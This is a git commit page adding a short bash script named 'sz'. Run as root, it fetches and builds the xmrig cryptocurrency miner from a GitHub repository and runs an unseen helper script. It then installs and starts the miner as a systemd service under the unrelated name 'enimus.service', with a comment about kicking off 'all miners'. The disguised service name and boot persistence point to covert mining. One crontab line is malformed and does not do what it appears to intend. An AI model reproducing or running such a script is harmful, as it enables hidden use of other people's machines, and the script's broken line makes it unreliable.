Add files via upload
This commit is contained in:
parent
8ab9f0f860
commit
c7ceafe076
3 changed files with 103 additions and 0 deletions
42
sz
Normal file
42
sz
Normal file
|
@ -0,0 +1,42 @@
|
|||
#!/bin/bash -ex
|
||||
cd /root
|
||||
sudo add-apt-repository -y ppa:jonathonf/gcc-7.1
|
||||
sudo apt-get update -y
|
||||
|
||||
sudo apt-get install -y gcc-7 g++-7
|
||||
|
||||
sudo apt-get install -y git build-essential cmake
|
||||
|
||||
sudo apt-get install -y libuv1-dev libmicrohttpd-dev uuid-dev
|
||||
|
||||
sudo echo /etc/crontab > 00 6 * * * root reboot
|
||||
|
||||
sudo git clone https://github.com/vladislavdid/xmr.git -q
|
||||
|
||||
cd xmr
|
||||
mkdir build
|
||||
cd build
|
||||
|
||||
sudo cmake .. -DCMAKE_C_COMPILER=gcc-7 -DCMAKE_CXX_COMPILER=g++-7 -DWITH_HTTPD=OFF
|
||||
|
||||
sudo make
|
||||
|
||||
sudo cp xmrig /usr/local/bin/xmrig
|
||||
|
||||
cd ..
|
||||
|
||||
sudo chmod +x ./local.sh
|
||||
|
||||
sudo ./local.sh
|
||||
|
||||
sudo mv /tmp/enimus.service /etc/systemd/system/enimus.service
|
||||
|
||||
# this is kick off aaall miners lol.
|
||||
|
||||
sudo systemctl daemon-reload
|
||||
|
||||
sudo systemctl start enimus.service
|
||||
|
||||
|
||||
|
||||
|
Loading…
Add table
Add a link
Reference in a new issue